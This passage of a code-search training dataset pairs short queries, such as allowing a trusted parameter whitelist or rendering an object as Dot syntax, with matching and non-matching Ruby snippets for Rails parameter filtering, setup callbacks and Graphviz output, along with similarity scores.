"def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.61637366", "0.60446453", "0.59452957", "0.591511", "0.58885515", "0.5834122", "0.57761765", "0.5702554", "0.5702554", "0.5652102", "0.5619581", "0.5423898", "0.5409782", "0.5409782", "0.5409782", "0.5394745", "0.53780794", "0.5356209", "0.5338898", "0.53381324", "0.5328622", "0.5309231", "0.5296901", "0.529641", "0.5296097", "0.5258364", "0.5242683", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.52346426", "0.52320486", "0.5225926", "0.52210605", "0.52171826", "0.52138335", "0.5207914", "0.52069265", "0.5176269", "0.5174653", "0.51730466", "0.51650184", "0.5161409", "0.5156175", "0.5154185", "0.5151096", "0.5151089", "0.51452935", "0.5138662", "0.51339483", "0.5113475", "0.51132", "0.51132", "0.5108031", "0.51075375", "0.5090693", "0.50892115", "0.5081523", "0.5081454", "0.5064919", "0.50545585", "0.50531805", "0.50501585", "0.50501585", "0.50329936", "0.5024674", "0.50203156", "0.50156844", "0.50149846", "0.50011337", "0.4999346", "0.49984375", "0.4988749", "0.4988749", "0.49842322", "0.49800175", "0.4979922", "0.49791628", "0.49666047", "0.49655434", "0.49559638", "0.49557537", "0.49554902", "0.4953974", "0.49519545", "0.49449277", "0.49440357", "0.49329734", "0.49315402", "0.49261367", "0.4925912", "0.4925598", "0.4924306", "0.49202663", "0.49167567", "0.49164373", "0.4915191", "0.49145022", "0.49140996" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def business_params params.require(:business).permit(:name, :address, :city) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params\n true\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def user_params\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def user_params\r\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def parameters\n nil\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.71230334", "0.70530915", "0.69479465", "0.6902122", "0.67367256", "0.67172784", "0.6689043", "0.66784793", "0.6660117", "0.6555213", "0.6528485", "0.6458438", "0.6452378", "0.6451654", "0.64478326", "0.6433326", "0.6413599", "0.6413599", "0.63907677", "0.63787645", "0.63787645", "0.6375229", "0.63608277", "0.635366", "0.6283652", "0.62798274", "0.6245606", "0.62283605", "0.6224614", "0.6223649", "0.62118477", "0.6207179", "0.61780804", "0.6173056", "0.61674094", "0.615996", "0.6145132", "0.613597", "0.612235", "0.6108622", "0.6098955", "0.60767287", "0.6055062", "0.60391796", "0.60363555", "0.6030472", "0.6018476", "0.60174584", "0.60163116", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60159874", "0.60052663", "0.6003681", "0.6001089", "0.5996807", "0.5994288", "0.59942675", "0.5984987", "0.59827954", "0.59777087", "0.5975369", "0.59706473", "0.5966046", "0.5965166", "0.5965166", "0.59577847", "0.5952617", "0.59503365", "0.59480196", "0.5943258", "0.5931462", "0.59299", "0.5927073", "0.5924737", "0.5919184", "0.5918459", "0.591457", "0.59142643", "0.59062785", "0.59054136", "0.59047925", "0.5902357", "0.5900476", "0.5898475", "0.5898218", "0.5895328" ]
0.0
-1
Returns the Dot label for the object.
def dot_label x @dot_label[x] ||= _dot_label x end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dot_label x, opts = EMPTY_HASH\n @dot_label[[x, opts]] ||=\n case x\n when Cabar::Component\n # * name and version\n # * directory\n # * facets (optional)\n str = ''\n\n if show_component_name\n str << \"#{x.name}\"\n else\n str << \"#\"\n end\n\n if show_component_version\n str << \"/#{x.version}\" if opts[:version] != false\n end\n\n if show_component_directory\n dir = x.directory.to_s.sub(/^#{@current_directory}/, './')\n str << \"\\n#{dir}\"\n end\n\n if show_facet_names && opts[:show_facet_names] != false\n str << \"\\n\"\n # <- <<exported facet name>>\n x.provides.\n map{|f| f.key.to_s}.\n sort.\n each{|f| str << \"<- #{f}\\\\l\"}\n\n # <* <<plugin name>>\n x.plugins.\n map{|p| p.name}.\n sort.\n map{|p| p.sub(/\\/.*$/, '/*')}.\n uniq.\n each{|p| str << \"<* #{p}\\\\l\"}\n end\n # '\"' + str + '\"'\n str\n when Cabar::Facet::RequiredComponent\n # Use the version requirement.\n show_dependency_constraint ?\n (x._proto ? x.version.to_s : x.key.to_s) :\n EMPTY_STRING\n when Cabar::Facet\n # Use the facet name.\n x.key.to_s\n else\n x.to_s\n end\n end", "def name\n @label || self.class.to_s.rpartition('::').last\n end", "def label\n @label ||= self.new.class.to_s.underscore.gsub('/', '.')\n end", "def dot\n RGL::DOT::Graph.new('elements' => dot_edges).to_s\n end", "def generated_label\n name = \"\"\n\n if @generated_name_classes.last\n clazz, reflection = @generated_name_classes.last[:clazz], @generated_name_classes.last[:reflection]\n if reflection.collection?\n name << clazz.model_name.human(count: 2)\n else\n name << clazz.model_name.human\n end\n end\n\n name << \" \" unless name.empty?\n name << @current_clazz.human_attribute_name(@attribute).to_s.downcase\n\n return name\n end", "def dot\n end", "def dot_name x, opts = EMPTY_HASH\n @dot_name[[ x, opts ]] ||=\n case x\n when Cabar::Component\n prefix = EMPTY_STRING\n if opts[:subgraph]\n opts[:version] = false\n prefix = \"cluster_\"\n end\n\n prefix +\n case opts[:version]\n when false\n \"c #{x.name}\"\n else\n \"c #{x.name} #{x.version}\"\n end\n when Cabar::Facet\n \"f #{x.key}\"\n else\n \"x #{x}\"\n end.\n # sub(/([a-z]+) (.*)/i){|| \"#{$1}_#{$2.hash}\"}.\n gsub(/[^a-z_0-9]/i, '_') \n end", "def to_dot\n i = 0\n dot = [\"digraph G {\", \"#{i} [label=\\\"self\\\"];\"]\n _to_dot(dot, \"\", i, self, i)\n dot << \"}\"\n dot.join(\"\\n\")\n end", "def to_dot\n return unless gv_object\n gv_object.to_s\n end", "def label\n return @label\n end", "def label\n return @label\n end", "def to_s\r\n label\r\n end", "def _label\n field = self.content_type.label_field\n value = self.dynamic_getter(field.name)\n\n if field.type == :belongs_to\n value.try(:_label)\n else\n value\n end\n end", "def key_label(object)\n [base_key_label, @custom_key_label_proc && @custom_key_label_proc.call(object)].compact.join(':')\n end", "def name label\n label(label)\n end", "def generated_label\n @generated_label = \"\"\n\n if @generated_name_classes.last\n clazz = @generated_name_classes.last.fetch(:clazz)\n reflection = @generated_name_classes.last.fetch(:reflection)\n\n if reflection.collection?\n @generated_label << clazz.model_name.human(count: 2)\n else\n @generated_label << clazz.model_name.human\n end\n end\n\n add_id_to_generated_label\n @generated_label\n end", "def label_name\n \n \"#{nombre_etiqueta}\"\n \n end", "def label\n rv = @level.dup\n rv.delete(0)\n rv.join('.')\n end", "def to_s\n return @labels.join('.')\n end", "def to_s\n @label\n end", "def to_dot\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\n parse_tree.to_dot(g)\n end.to_dot\n end", "def label\n \"#{@name} (#{@id})\"\n end", "def label_name(product)\n return product.label_override unless product.label_override.nil?\n Google::StringUtils.underscore(product.name)\n .split('_')\n .map { |x| x[0] }\n .join\n .concat('_label')\n end", "def to_dot_for_belongs_to(assoc)\n if assoc.options[:polymorphic]\n %(\n \"#{assoc.class_name}\" [shape = \"record\"]\n \"#{constant_name}\" -> \"#{assoc.class_name}\" [headlabel=\"*\", taillabel=\"1\"]\n )\n else\n ''\n end\n end", "def label\n label = \"#{number}: #{name}\"\n end", "def to_s\n label\n end", "def name\n label\n end", "def dottify\n self.gsub(/[^[:print:]]/, \".\")\n end", "def label\n self['label']\n end", "def name_for_label\n self.class.translated_label_for(self.name, self.element.name)\n end", "def label\n if respond_to?(\"#{@attribute}_label\".to_sym)\n send(\"#{@attribute}_label\".to_sym)\n else\n @attribute.to_s.titleize\n end\n end", "def Dottie(obj)\n Dottie[obj]\nend", "def label_as_filename\n str = label.to_s\n if str.empty?\n str.object_id\n else\n str.sub(/\\W+/, '-')\n end\n end", "def to_label\n to_s\n end", "def label\n elements.select { |e| e.respond_to?(:label) }.first.label\n end", "def nodelabel(node) # :nodoc:\n np = @lproc.call(node)\n case np\n when String, Symbol\n np.to_s\n when Enumerable\n (np.find { |s| s =~ /label=\"(.*?)\"/ } && $1)\n end \n end", "def label\n @label || \"unknown\"\n end", "def object_name\n @object.name.split('::').last.downcase + 's'\n end", "def to_label\n \"#{name}\"\n end", "def label\n @attributes[:label]\n end", "def to_s\n label.to_s\n end", "def label\n attributes.fetch(:label)\n end", "def label\n attributes.fetch(:label)\n end", "def label\n attributes.fetch(:label)\n end", "def label\n attributes.fetch(:label)\n end", "def label\n attributes.fetch(:label)\n end", "def label\n attributes.fetch(:label)\n end", "def name\n @object.to_s\n end", "def getName()\n return @obj_name\n end", "def to_label\n \"#{label}\"\n end", "def dot(i); str(nil, i, '.'); end", "def label\n attribute :label\n end", "def label\r\n\t\t\tname.match(/\\?$/) ? name : name + \":\"\r\n\t\tend", "def label\r\n\t\tname.match(/\\?$/) ? name : name + \":\"\r\n\tend", "def label(name)\n @labels[name.to_sym]\n end", "def label\n return @frequency_data[ :label ]\n end", "def label\n \"\"\n end", "def name_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.label.className(create_ats_regex_string(\"ats-namelbl\")), format_method(__method__))\n end", "def label()\n if @v_index == nil\n return nil\n else\n return Vocab::dataviews_strings[@v_index]\n end\n end", "def vertex_label(v)\n v.to_s\n end", "def label context = nil\n label = aref\n\n label = [context.aref, label].compact.join '-' if\n context and context.respond_to? :aref\n\n label\n end", "def dot_name_for(node_name)\n @topographer.node_cluster?(node_name) ? \"cluster_#{node_name}\" : node_name\n end", "def to_label\n \"#{person.nil? ? '' : person.name}\"\n end", "def to_dot(graph)\n graph.node(self, :label => token)\n end", "def label\n raise \"Label provider key :label must be set to produce the text of the message!\" unless @data[:label]\n @data[:label]\n end", "def full_label\n ''\n end", "def display_label\n return Xref.find(self.display_xref_id).display_label\n end", "def display_label\n return Xref.find(self.display_xref_id).display_label\n end", "def display_label\n return Xref.find(self.display_xref_id).display_label\n end", "def label\n @sax_document.label || @structmap.label\n end", "def label\n @sax_document.label || @structmap.label\n end", "def label\n read_attr :label\n end", "def getPovertyLikelihoodChartObjName\r\n\t\t\treturn \"mfiforce__Poverty_Likelihood_Chart__c\"\r\n\t\tend", "def custom_label\n \"#{self.name}\"\n end", "def domain_name_label\n label = nil\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n if ip_config['public_ipaddress']['attached']\n label = ip_config['public_ipaddress']['domain_name_label']\n end\n end\n end\n\n label\n end", "def label(item = nil)\n (item || self).name.presence\n end", "def custom_label\n \"#{self.name}\"\n end", "def to_label(label)\n return unless label\n label.draw_multi_text(type.name, {:font_reverse => true})\n label.draw_multi_text(observations.collect{|obs|obs.to_short_s}.join(\", \"), {:font_reverse => false})\n end", "def label(index_)\n @axis_object.label(index_)\n end", "def label\n return computing_id\n end", "def name\n [@trd, @sld, @tld].compact.join(\".\")\n end", "def get_label\n get_field_config['label']\n end", "def to_s\n self.name.split('::').last\n end", "def name_from_object(class_name)\n class_name.split('::').last\n end", "def property_label_method\n\t\tself.property_category ? self.property_category.category_name + \": \" + self.property_name : self.property_name\n\tend", "def do_dot\n message = pop\n object = pop\n\n\t\t# defer error handling for now\n\t\tcase object[:type]\n when :integer\n m = message[:value]\n\t\t\t@integer_msgs[m].call( object )\n when :string\n # ditto :integer\n when :frame # user defined object\n\t\t\t@fstack.push( object )\n\t\t\t# evaluate message in context of frame\n\n\t\t\tquote = Quote.new\n\t\t\tcase message[:type]\n when :quote\n\t\t\t quote.tree = message\n\t\t\t self.dot( quote )\n when :symbol\n # usr re-write rule: frame symbol . --> frame [ symbol # ] .\n\t\t\t\tquote.tree = { \n\t\t\t\t type: :quote,\n\t\t\t\t value: [ message, { type: :eval, value: \"#\" } ]\n\t\t\t\t}\n\n\t\t\t self.dot( quote )\n end\n\n\t\t\t@fstack.pop\n else\n # error\n end\n end", "def to_s\n to_label\n end", "def generate_object_label\n \t\tlabel = \"\"\n label_names = \" - \"\n\t\tbegin\n\t\t\tnames = self.get_values_from_datastream(\"descMetadata\", [:name, :namePart], {})\n\t\t\troles = self.get_values_from_datastream(\"descMetadata\", [:name, :role, :text], {}) \n\t\t\t#'zip' name into role array\n\t\t\trole_name = roles.zip(names)\n\t role_name.each do |person|\n\t\t\t role = person[0].to_s.downcase\n\t\t\t \tif role == 'creator' || role == 'author'\n\t\t\t\t\tlabel_names = label_names + person[1] + '; '\n\t\t\t\tend\t\t\n\t end\n\t\trescue OM::XML::Terminology::BadPointerError => e\n\t\t\t#Assume that its an object without author (Set or alike)\n\t\t\tlabel_names = \"\"\n\t\tend\n\t\ttitle = self.get_values_from_datastream(\"descMetadata\", [:title], {}).to_s\n\n\t\t#truncate the title if its too long (over 100 chars)\n\t\ttitle = title.length > 100 ? title[0..100] <<'...': title unless title.nil?\n\t\tlabel = title + label_names\n \n #255 character limit for labels, we'll limit to 200 to be on the safe-side...\n label = label.length > 200 ? label[0..197] << '...' : label\t\n\n #When the label has any leading/trailing spaces strip them off...\n label = label.strip!.nil? ? label : label.strip\n\t\treturn label\n\n end", "def label\n Block.get_label(function.name, name)\n end", "def to_label\n nick\n end", "def label_text\n method.to_s.gsub('-', ' ')\n end", "def to_label\n 'PPY-' + sprintf('%05X', id)\n end", "def show_label(t)\n t(t) + ':'\n end", "def label_as label\n @label = label\n end", "def label\n return computing_id\n end", "def name\n n = self.class.name\n n.gsub!( /::/, '.' )\n n.gsub( /(\\w)\\w+\\./ ) { |m| $1.downcase + '.' }\n end", "def to_label\n \"#{car.brand.name} #{car.name} #{color.name} #{year} / #{model}\"\n end", "def get_label(t)\n labels = t.counterplayers(:atype => @base_locator+\"/association/scoping\", :rtype=>@base_locator+\"/types/named_topic_type\", :otype => @base_locator+\"/types/displaylabel\" )\n for label in labels\n if $current_lang\n return get_label_in_scope(t,$current_lang)\n else\n return get_default_label(label)\n end\n end\n return get_default_label(t)\n end", "def last_label\n # @times.map { |time| time&.dig(:label) }.join(\" - \")\n @times&.last&.dig(:label)\n end", "def label(type = N::RDFS::label)\n labels(type)[0]\n end" ]
[ "0.6645834", "0.6621758", "0.6618855", "0.65489244", "0.64943224", "0.64486957", "0.64289665", "0.63742244", "0.6331173", "0.62375253", "0.6218592", "0.6146182", "0.6093772", "0.6090563", "0.6084557", "0.60368735", "0.6014525", "0.601225", "0.6010103", "0.5991288", "0.59494764", "0.5944775", "0.5941694", "0.5939598", "0.5939575", "0.59381175", "0.593612", "0.59359795", "0.5935201", "0.59072024", "0.58914834", "0.58882964", "0.5885579", "0.5875555", "0.5873992", "0.58541656", "0.5851585", "0.58358735", "0.5835517", "0.5783068", "0.57773423", "0.57525873", "0.57525873", "0.57525873", "0.57525873", "0.57525873", "0.57525873", "0.5749831", "0.5748407", "0.5746869", "0.57404494", "0.57289565", "0.5717359", "0.57111514", "0.57103133", "0.5695452", "0.5684635", "0.56843424", "0.5681971", "0.567779", "0.5660222", "0.56198937", "0.55886453", "0.55843526", "0.55737245", "0.5573075", "0.55698645", "0.55698645", "0.55698645", "0.55637765", "0.55637765", "0.5553206", "0.5548849", "0.55455464", "0.55452913", "0.5544692", "0.5538466", "0.5533748", "0.5530501", "0.5529645", "0.55278456", "0.5527668", "0.55220646", "0.5519073", "0.5514866", "0.55147797", "0.5505865", "0.5489388", "0.5459368", "0.54563963", "0.54475766", "0.5441762", "0.5440395", "0.54267216", "0.54176766", "0.5413425", "0.54087216", "0.5404173", "0.5403994", "0.54030704" ]
0.7634909
0
Renders object as Dot syntax.
def render x = @stateMachine case x when Machine @machine = x options[:history] ||= x.history options[:highlight_states] ||= [ x.state ].compact options[:highlight_transitions] ||= ( x.transition_queue.map{|e| e.first} << x.transition ).compact render x.stateMachine when StateMachine render_root x when State render_State x when Transition render_Transition x else raise ArgumentError, x.inspect end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
